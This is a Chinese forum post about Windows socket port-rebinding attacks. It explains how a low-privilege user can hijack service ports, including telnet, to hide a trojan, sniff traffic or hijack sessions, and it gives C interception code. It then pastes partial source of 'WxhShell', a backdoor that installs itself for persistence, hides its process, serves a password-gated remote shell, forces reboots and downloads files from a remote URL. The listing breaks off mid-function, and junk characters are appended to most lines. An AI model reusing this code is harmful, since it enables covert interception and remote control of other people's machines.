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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: |XQ\c.A  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); \|]+sQWQ  
:To{&T  
  saddr.sin_family = AF_INET; z}r  
z^/9YzA!6  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Lcy6G%A  
AEFd,;GF  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); j,i)ecZ>  
DbR!s1ux  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 <ZO+e*4  
FKf2Q&2I  
  这意味着什么?意味着可以进行如下的攻击: :UKc:JVNM  
6RSit  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ZRr.kN+F  
YoQQ ,  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) mZ?QtyljT  
vQoZk,  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 931GJA~g  
&u<%%b|  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  d?/g5[  
pma=*  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 R$eEW"]  
7coVl$_Zl  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 zqXDD; w3  
]-+l.gVFW  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 HYJEz2RF  
O ~[[JAi[  
  #include NOAz"m+o  
  #include 04Uyr;y  
  #include S,Qa\\~z  
  #include    qsQTJlq)  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ][8`}ki 1  
  int main() Vhn Ir#L+  
  { {?cF2K#  
  WORD wVersionRequested; (II#9 n)  
  DWORD ret; Z;dR :|%)  
  WSADATA wsaData; (enOj0  
  BOOL val; %bG\  
  SOCKADDR_IN saddr; ']^]z".H  
  SOCKADDR_IN scaddr; ?ZhBS3L  
  int err; TOvsW<cM  
  SOCKET s; `Xi)';p  
  SOCKET sc; bXM&VW?OP  
  int caddsize; \ZSqZDq  
  HANDLE mt; :"i2`y;u  
  DWORD tid;   i8*(J-M  
  wVersionRequested = MAKEWORD( 2, 2 ); ^7:UC\_  
  err = WSAStartup( wVersionRequested, &wsaData ); B'PS-Jr  
  if ( err != 0 ) { T#H-GOY:  
  printf("error!WSAStartup failed!\n"); ^%U`|GBZp  
  return -1; +t]Ge >S  
  } J'I1NeK  
  saddr.sin_family = AF_INET; p7.~k1h  
   pQ ul0]  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 zf\$T,t)  
:$XlYJrjK  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); -<u_fv  
  saddr.sin_port = htons(23); gEgd/Le  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #,"[sag  
  { u0ZMrIJ  
  printf("error!socket failed!\n"); 6OtNWbB  
  return -1; *m'&<pg]X  
  } ?|Wxqo  
  val = TRUE; AJoP3Zv|?  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 h54\ \Ci  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 9'vf2) "  
  { 3]&le[.  
  printf("error!setsockopt failed!\n"); `0 W+(9}  
  return -1; $9 G".T  
  } W:8{}Iu<  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; (r1"!~d@  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 SEM- t   
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 zP$"6~.  
vXak5iq>X  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) {s2eOL5I|%  
  { zRR^v&.9K  
  ret=GetLastError(); ki ?V eFp  
  printf("error!bind failed!\n"); =,s5>2  
  return -1; 1l.HQ IS  
  } -(#`JT8  
  listen(s,2); 4Le{|B  
  while(1) qzu(4*Gk6  
  { 3)(uC+?[  
  caddsize = sizeof(scaddr); 7G Jhc  
  //接受连接请求 1 a%1C`d  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 0^d<@\  
  if(sc!=INVALID_SOCKET) |g<l|lqz|  
  { R0q|{5S  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); DKNcp8<J  
  if(mt==NULL) C5X!H_p  
  { Kj-zEl  
  printf("Thread Creat Failed!\n"); Lr "V  
  break; |Fx~M,Pzg  
  } PaDm"+H@  
  } =< P$mFP2*  
  CloseHandle(mt); T9>,Mx%D[  
  } 4Ub7T=LG  
  closesocket(s); raR=k!3i  
  WSACleanup(); _|COnm  
  return 0; HeHo?<>|d  
  }   :?)q"hE  
  DWORD WINAPI ClientThread(LPVOID lpParam) H[?l)nZ}  
  { anH]]  
  SOCKET ss = (SOCKET)lpParam; Q 9<i2H  
  SOCKET sc; :v E\r#hJ"  
  unsigned char buf[4096]; "(p&Oz  
  SOCKADDR_IN saddr; fz+dOIU3\L  
  long num; B2)5Z]  
  DWORD val; <II>io ;  
  DWORD ret; fV!~SX6S  
  //如果是隐藏端口应用的话,可以在此处加一些判断 7v`~;}5  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   4y,pzQ8a  
  saddr.sin_family = AF_INET; U@}P]'`'f  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); `mS0]/AV/  
  saddr.sin_port = htons(23); K[q-[q#yc  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) PD^Cj?wm  
  { z E\~Oa;  
  printf("error!socket failed!\n"); tSTl#xy  
  return -1; 8`|Z9umW*  
  } / !hxW}>^  
  val = 100; NU 3s^ 8\(  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) f!B\X*|  
  { [QwqP=-6  
  ret = GetLastError(); ;a(7%  
  return -1; A aM~B`B  
  } 1f$1~5Z  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) J c:j7}OOV  
  { jZ<f-Ff0  
  ret = GetLastError(); bZgFea_>i  
  return -1; P#,g5  
  } 80LN(0?x  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 2KNs,4X@  
  { o"qG'\x  
  printf("error!socket connect failed!\n"); aBKJd  
  closesocket(sc); [-nPHmZV[  
  closesocket(ss); u X(#+  
  return -1; kM7 6?M  
  } o4YF,c+>q  
  while(1) ]QF*\2b-I2  
  { V B=jK Mi  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 8y]{I^z}  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Lv-M.  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ~W_ T3@  
  num = recv(ss,buf,4096,0); Tqx  
  if(num>0) <,&t}7M/:  
  send(sc,buf,num,0); 2bOFH6g  
  else if(num==0) d.y-R#F_]  
  break; KN.WTaO  
  num = recv(sc,buf,4096,0); v;Rm42k  
  if(num>0) yY80E[v  
  send(ss,buf,num,0); ]!WD">d:  
  else if(num==0) t<SCrLbz  
  break; ,d8*7my  
  } *zv*T"&ZP  
  closesocket(ss); 6KX/Yj~B  
  closesocket(sc); 2))p B/  
  return 0 ; MVp+2@)}s  
  } =qww|B92  
jjg[v""3|  
r@G34Q C+  
========================================================== 4z^VwKH\j  
&C6*"JZ4  
下边附上一个代码,,WXhSHELL !PEP`wEKdp  
e @|uG%  
========================================================== nO8e'&|  
{fn1sGA  
#include "stdafx.h" N. 0~4H %U  
\WM"VT  
#include <stdio.h> 9Hs5uBe  
#include <string.h> dMa6hI{k  
#include <windows.h> 3/CKy##r%]  
#include <winsock2.h> 7"Q;Yi2(  
#include <winsvc.h> y+M9{[ i/O  
#include <urlmon.h> @zig{b8  
>8gb/?z  
#pragma comment (lib, "Ws2_32.lib") Q\z9\mMG-  
#pragma comment (lib, "urlmon.lib") bDV/$@p  
gnw?Y 2  
#define MAX_USER   100 // 最大客户端连接数 "lKR~Qi  
#define BUF_SOCK   200 // sock buffer hJ~=eYK?J  
#define KEY_BUFF   255 // 输入 buffer IGI$,C  
:\|<7n   
#define REBOOT     0   // 重启 1*OZu.NdK  
#define SHUTDOWN   1   // 关机 A7aW]  
]J.|XRp/  
#define DEF_PORT   5000 // 监听端口 !InC8+be  
77%I%<#  
#define REG_LEN     16   // 注册表键长度 %"AB\lL.  
#define SVC_LEN     80   // NT服务名长度 :Mq{ES%  
Uq(fk9`6  
// 从dll定义API >'&|{s[m  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;x-]1xx_  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  $kY ]HI  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +\25ynM  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {0\9HI@  
rC6{-42bb  
// wxhshell配置信息 GNM+sd y+  
struct WSCFG { uVzvUz{b  
  int ws_port;         // 监听端口 2E@y0[C?  
  char ws_passstr[REG_LEN]; // 口令 ,xy$h }g  
  int ws_autoins;       // 安装标记, 1=yes 0=no eJ60@N\A  
  char ws_regname[REG_LEN]; // 注册表键名 `'b2 z=j  
  char ws_svcname[REG_LEN]; // 服务名 8 g3?@i  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 1W{t?1[s  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 R-1C#R[  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 + y|Q7+  
int ws_downexe;       // 下载执行标记, 1=yes 0=no B5!|L)7>{p  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 70N Lv  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 X 3(*bj>P  
q4Y7 HE|ym  
}; ; r95i1a'  
Z4D[nPm$  
// default Wxhshell configuration X=%e'P*X  
struct WSCFG wscfg={DEF_PORT, rWip[>^  
    "xuhuanlingzhe", B[;aNyd<  
    1, 6rN.)dL.#N  
    "Wxhshell", !5>PZ{J  
    "Wxhshell", %G'P!xQhy  
            "WxhShell Service", VH<-||X/4  
    "Wrsky Windows CmdShell Service", .c\iKc#  
    "Please Input Your Password: ", *Jg&:(#}<J  
  1, uS5ADh  
  "http://www.wrsky.com/wxhshell.exe", '_ FxxLAO  
  "Wxhshell.exe" r|Q/:UV?w  
    }; 1krSX 2L  
6sNw#pqh  
// 消息定义模块 GyQvodqD  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Qv1cf  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ria.MCe\!  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; WO[O0!X  
char *msg_ws_ext="\n\rExit."; r)[Xzn   
char *msg_ws_end="\n\rQuit."; Uh3N#O  
char *msg_ws_boot="\n\rReboot..."; 6-f-/$B  
char *msg_ws_poff="\n\rShutdown..."; 1i;#cIG  
char *msg_ws_down="\n\rSave to "; X1^Q1?0  
B1b9 JS(>  
char *msg_ws_err="\n\rErr!"; M,oRi;V  
char *msg_ws_ok="\n\rOK!"; C{]1+eL  
}hS$F  
char ExeFile[MAX_PATH]; O+ xzM[[  
int nUser = 0; PySFhb@  
HANDLE handles[MAX_USER]; yMJ(Sf  
int OsIsNt; \n^;r|J7k  
m Q^SpK #  
SERVICE_STATUS       serviceStatus; pLtK:Z  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; O-qpB;|  
P5&8^YV`N  
// 函数声明 nt*K@  
int Install(void); ma@!"Z8 S  
int Uninstall(void); t/h,-x  
int DownloadFile(char *sURL, SOCKET wsh); Sgn<=8,6c  
int Boot(int flag); 'j\mz5#s  
void HideProc(void); DJ|lel/'  
int GetOsVer(void); a.fdCI]%  
int Wxhshell(SOCKET wsl); S#S&_#$`,X  
void TalkWithClient(void *cs); mi@ni+2Tn  
int CmdShell(SOCKET sock); !JA//{?  
int StartFromService(void); Qn)AS1pL+  
int StartWxhshell(LPSTR lpCmdLine); &A~hM[-  
| &/_{T  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); e;9x%kNs!  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Mt&n|']`8  
M# cJ&+rP  
// 数据结构和表定义 gPIl:, d(  
SERVICE_TABLE_ENTRY DispatchTable[] = m[s$)-T  
{ DC2[g9S>8@  
{wscfg.ws_svcname, NTServiceMain}, >FqU=Q  
{NULL, NULL} T%w5%{dqJ  
}; 4++pK;I  
=-/sB>-C  
// 自我安装 eZ{Ce.lNR  
int Install(void) bmO(tQS$5  
{ r\FduyOXv  
  char svExeFile[MAX_PATH]; qD,/Qu62  
  HKEY key; Dw<bLSaW&  
  strcpy(svExeFile,ExeFile); D_ XOYzN}  
sCE%./h]  
// 如果是win9x系统,修改注册表设为自启动 g1)ZjABV  
if(!OsIsNt) { {TaYkuWS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F[>Y8e<[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nBwDq^  
  RegCloseKey(key); D+{& zo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~#7uNH2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); H/ar: j  
  RegCloseKey(key); |mT1\O2a  
  return 0; o^b5E=?>C  
    } NYc;Zwv9  
  } PCnu?e3F  
} g9j&\+h^  
else { wxy@XN"/i+  
-Sa-eWP  
// 如果是NT以上系统,安装为系统服务 z-h?Q4;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $f+cd8j?o  
if (schSCManager!=0) 2Q;rSe._`  
{ C=JS]2W2  
  SC_HANDLE schService = CreateService Wu'9ouw!  
  ( A[uB)wWsn  
  schSCManager, |qpFR)l  
  wscfg.ws_svcname, .TNGiUzG  
  wscfg.ws_svcdisp, ?nZe.z-%6  
  SERVICE_ALL_ACCESS, WG +]  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~bz$]o-<  
  SERVICE_AUTO_START, 9K-,#a  
  SERVICE_ERROR_NORMAL, RV%)~S@!R  
  svExeFile, sW76RKX8  
  NULL, ? 0+N  
  NULL, M9?f`9  
  NULL, F:8@ ]tA&  
  NULL, ;9' ] na  
  NULL d=dHY(ms]  
  ); eu'~(_2  
  if (schService!=0) &ju.5v|  
  { dnkHx  
  CloseServiceHandle(schService); MhIHfW]b  
  CloseServiceHandle(schSCManager); 3rX 40>Cs8  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); dF*M"|[  
  strcat(svExeFile,wscfg.ws_svcname); S" (Nf+ux  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { v7,-Q*  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); I8k+Rk*  
  RegCloseKey(key); ~cV";cD5  
  return 0; C$4{'J-ZH  
    } H'Jz:6   
  } 3Pvz57z{  
  CloseServiceHandle(schSCManager); 4K*st8+bl-  
} ~RV"_8`V9  
} m$7C{Mr'  
HhwAzk/G~  
return 1; ~zVe?(W  
}  /#zs  
oA3;P]~[  
// 自我卸载 gH*(1*  
int Uninstall(void) =,8nfJ+x  
{ ,P=.x%  
  HKEY key; k]~$AaNq  
Hz%<V *\{  
if(!OsIsNt) { G!lF5;Ad`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { pl/ek0QX  
  RegDeleteValue(key,wscfg.ws_regname); ]}n|5  
  RegCloseKey(key); I= a?z<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @mb'!r  
  RegDeleteValue(key,wscfg.ws_regname); |Qn>K   
  RegCloseKey(key); @r(3   
  return 0; w+a5/i@  
  } z L9:e7o  
} .yD5>iBh  
} )a9C3-8Y'  
else { G++<r7;x  
J0B*V0'zR  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @U@O#+d'ZR  
if (schSCManager!=0) }z qo<o  
{ 4BeHj~~  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); k{U[ U1j  
  if (schService!=0) N%%trlDXD  
  { Lcf?VV}  
  if(DeleteService(schService)!=0) { U2CC#,b!(  
  CloseServiceHandle(schService); 8fktk?|  
  CloseServiceHandle(schSCManager); ZD4aT1|Q7  
  return 0; Y*IKPnPot2  
  } ~y"OyOi&  
  CloseServiceHandle(schService); 'S*]JZ1  
  } lgZ9*@d  
  CloseServiceHandle(schSCManager); *X^ C+F  
} A5Q4wy`  
} x,|fblQz  
trB-(B%5  
return 1; C_yNSD  
} oDayfyy4y)  
.&I!2F  
// 从指定url下载文件 b_7LSp  
int DownloadFile(char *sURL, SOCKET wsh) DuLl"w\_@  
{ N1 sdWXG  
  HRESULT hr; W }v ,6Oe  
char seps[]= "/"; c'mg=jH  
char *token; \:+ NVIN  
char *file; =woP~+  
char myURL[MAX_PATH]; <p-@XzyE  
char myFILE[MAX_PATH]; bh#6yvpMR  
A[F_x*S  
strcpy(myURL,sURL); mF UsTb]f  
  token=strtok(myURL,seps); YMVi7D~;Q$  
  while(token!=NULL) D1@yW} 4  
  { |<O^M q  
    file=token; F{rC{5@fj  
  token=strtok(NULL,seps); W|"bV 6d3  
  } uGHM ]"!)  
v=Q!ioE7  
GetCurrentDirectory(MAX_PATH,myFILE); 2p4iir  
strcat(myFILE, "\\"); -*O L+  
strcat(myFILE, file); 1hzf+*g  
  send(wsh,myFILE,strlen(myFILE),0); z, FPhbFn  
send(wsh,"...",3,0); 1/&^~'  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); J #jFX F\  
  if(hr==S_OK) 2cSc 8  
return 0; B I=57  
else !;P[Y"h@r  
return 1; \HG4i/V:h  
|g HdTb1  
} o{QV'dgu  
>[:qJ|i%  
// 系统电源模块 u%Mo.<PI  
int Boot(int flag) !6a;/ys  
{ m(D-?mhL  
  HANDLE hToken; Z  
  TOKEN_PRIVILEGES tkp; O+/{[9s  
 $&1Dl  
  if(OsIsNt) { 3to!C"~\K-  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  wG6Oz2(  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); pred{HEye  
    tkp.PrivilegeCount = 1; h:sf?X[  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Db;>MWt+e  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); '-Oh$hqCx|  
if(flag==REBOOT) { U#Iwe=  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ov daK"q2  
  return 0; )1gT&sU0  
} ~*]7f%L-  
else { G9GHBwT  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 06Q9X!xD  
  return 0; s^4wn:*$zd  
} `^ a:1^  
  } +5 gX6V\  
  else { fEiNHVx  
if(flag==REBOOT) { ] w0Y5H "  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {47Uu%XT  
  return 0; +$#XV@@~  
} mAET`B "  
else { mN.  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) S)W?W}*R\  
  return 0; ecO$L<9>  
} ;PnN$g]Q  
} R3.w")6  
f`_{SU"3  
return 1; :SWrx MT  
} /-t!)_zvw  
DY{v@ <3  
// win9x进程隐藏模块 T 1_B0H2  
void HideProc(void) G l2WbY  
{ 8~~ k?  
,-8Xb+!8I  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); y?A*$6  
  if ( hKernel != NULL ) Y6.Bi  
  { ;b. m X  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `T{CB) ?9  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); m1X*I  
    FreeLibrary(hKernel); cLvnLaA}  
  } lj:.}+]r  
w=: c7Y+  
return; p#-=mXE/2  
} mAY/J0_  
>j*0fb!:]  
// 获取操作系统版本 Z;BEUtR c  
int GetOsVer(void) r dtzz#7  
{ ~66v.`K!  
  OSVERSIONINFO winfo; A f!`7l-  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); E:+r.r"Y  
  GetVersionEx(&winfo); 6@3v+Vf'  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) M?Q\ Hw  
  return 1; #$L/pRC  
  else O1\25D  
  return 0; |1/8m/2Af.  
} Aq7`A^1t$  
qm'@o -[  
// 客户端句柄模块 9}Za_ZgG  
int Wxhshell(SOCKET wsl) @g]+$Yj  
{ \2#K {  
  SOCKET wsh; 6}0_o[23  
  struct sockaddr_in client; ( ]0F3@k#s  
  DWORD myID; vb]uO ' l  
W(?J,8>  
  while(nUser<MAX_USER) 2"j&_$#l5X  
{ lUp%1x+  
  int nSize=sizeof(client); vjh'<5w9Wi  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); vpOGyvI  
  if(wsh==INVALID_SOCKET) return 1; ^k{/Yl  
g>eWX*Pa|  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); m=/HUt3(&0  
if(handles[nUser]==0) p_e x  
  closesocket(wsh); $:1/`m19  
else Ov4 [gHy&  
  nUser++; 5dG+>7Iy}  
  } 5|t-CY{?b  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Raetz>rL  
d{) =E8wE  
  return 0; T+rym8.p  
} wV{j CQ  
<:N$ $n  
// 关闭 socket )8n?.keq  
void CloseIt(SOCKET wsh) w40*vBz  
{ b"`fS`@/MW  
closesocket(wsh); !{ _:k%B  
nUser--; -*Qg^1]i+  
ExitThread(0); 1=E}X5  
} $Fy~xMA8O  
2`ERrh^i"  
// 客户端请求句柄 M9Yov4k,4]  
void TalkWithClient(void *cs) \ $t{K  
{ NwQ$gDgu t  
";jAHGbO  
  SOCKET wsh=(SOCKET)cs; D&@ js!|5  
  char pwd[SVC_LEN]; xdY'i0fh  
  char cmd[KEY_BUFF]; I$)9T^Ra  
char chr[1]; V:+vB "  
int i,j; d{(Rs.GuP  
eI|~neh  
  while (nUser < MAX_USER) { YnDaB px  
K;s`  
if(wscfg.ws_passstr) { pCa~:q*85  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rq1~%S  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); EG8z&^O x  
  //ZeroMemory(pwd,KEY_BUFF); vl|3WYA  
      i=0; E5c)\ D  
  while(i<SVC_LEN) { <5CQ#^ cK  
e%{7CR'~TD  
  // 设置超时 @T.F/Pjhc  
  fd_set FdRead; 8JW0;H<  
  struct timeval TimeOut; J4iu8_eH!D  
  FD_ZERO(&FdRead); '-G,7!.,r%  
  FD_SET(wsh,&FdRead); \,:7=  
  TimeOut.tv_sec=8; wLt0Fq6QG  
  TimeOut.tv_usec=0; Gz8JOl  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); LUz`P6  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 4"{g{8  
//Xz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~{kA;uw  
  pwd=chr[0]; >SYOtzg%  
  if(chr[0]==0xd || chr[0]==0xa) { P>x88M  
  pwd=0; @wP.Rd  
  break; _n4`mL8>kH  
  } ZX{eggXl  
  i++;  P/]8+_K  
    } |L-- j  
I>-}ys`[  
  // 如果是非法用户,关闭 socket SL^%Zh/~  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); kjQI=:i=  
} AP=SCq;  
cmaha%3d  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); qPhVc9D#  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); AO5a  
p{SIGpbR&  
while(1) { Esg:  
2elj@EB,M  
  ZeroMemory(cmd,KEY_BUFF); F[.IF5_  
gK dNgU  
      // 自动支持客户端 telnet标准   "[Tr"nI  
  j=0; Kj6+$l   
  while(j<KEY_BUFF) { 6e}T zc\@(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .Dr7YquW  
  cmd[j]=chr[0]; v yP_qG  
  if(chr[0]==0xa || chr[0]==0xd) { td#m>S  
  cmd[j]=0; +yHzp   
  break; +,D82V7S  
  } 7bJM $  
  j++; >S?7-2X  
    } kaDn= ={YM  
: R8+jO   
  // 下载文件 y92<(ziaX)  
  if(strstr(cmd,"http://")) { >4#\ U!  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); u9+)jN<Yh  
  if(DownloadFile(cmd,wsh)) jar?"o  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); mj9]M?]  
  else X<1ymb3  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [FWB  
  } W}wd?WIps  
  else { 9@*4^Ks p  
-OfAl~ 4  
    switch(cmd[0]) { UB% ;P-RD  
  `WQpGBS_z_  
  // 帮助 PKs$Q=Ol<|  
  case '?': { ({!*&DVu  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |txzIc.#  
    break; '_g*I  
  } uuCVI2|  
  // 安装 ,l\D@<F  
  case 'i': { M49Hm[0(  
    if(Install()) VC!g,LU|-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b1ZHfe:  
    else qEjsAL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CR|>?9V  
    break; `R$bx 64  
    } O}7aX '  
  // 卸载 \l 3M\$oS>  
  case 'r': { `k08M)  
    if(Uninstall()) TR{dNO!q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ayA_[{j%X  
    else :!,.c $M  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 81wmKqDEs  
    break; 6M8(KN^  
    } -%t8a42  
  // 显示 wxhshell 所在路径 -ktYS(8&  
  case 'p': { WxF@'kdn*,  
    char svExeFile[MAX_PATH]; T9'5V@  
    strcpy(svExeFile,"\n\r"); ;[Hrpl S  
      strcat(svExeFile,ExeFile);  R"PO@v  
        send(wsh,svExeFile,strlen(svExeFile),0); Q@UY4gA '  
    break; q{)Q ?E  
    } %E2C4UbY  
  // 重启 2Xfy?U  
  case 'b': { <^8OYnp  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?Ye%k  
    if(Boot(REBOOT)) ]O+Nl5*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sF#t{x/sW  
    else { It^_?oiK  
    closesocket(wsh); F=kiYa}  
    ExitThread(0); ;nf}O87~  
    } JhB$s  
    break; h6(L22Hn  
    } .O.fD  
  // 关机 WJ]g7!Ks  
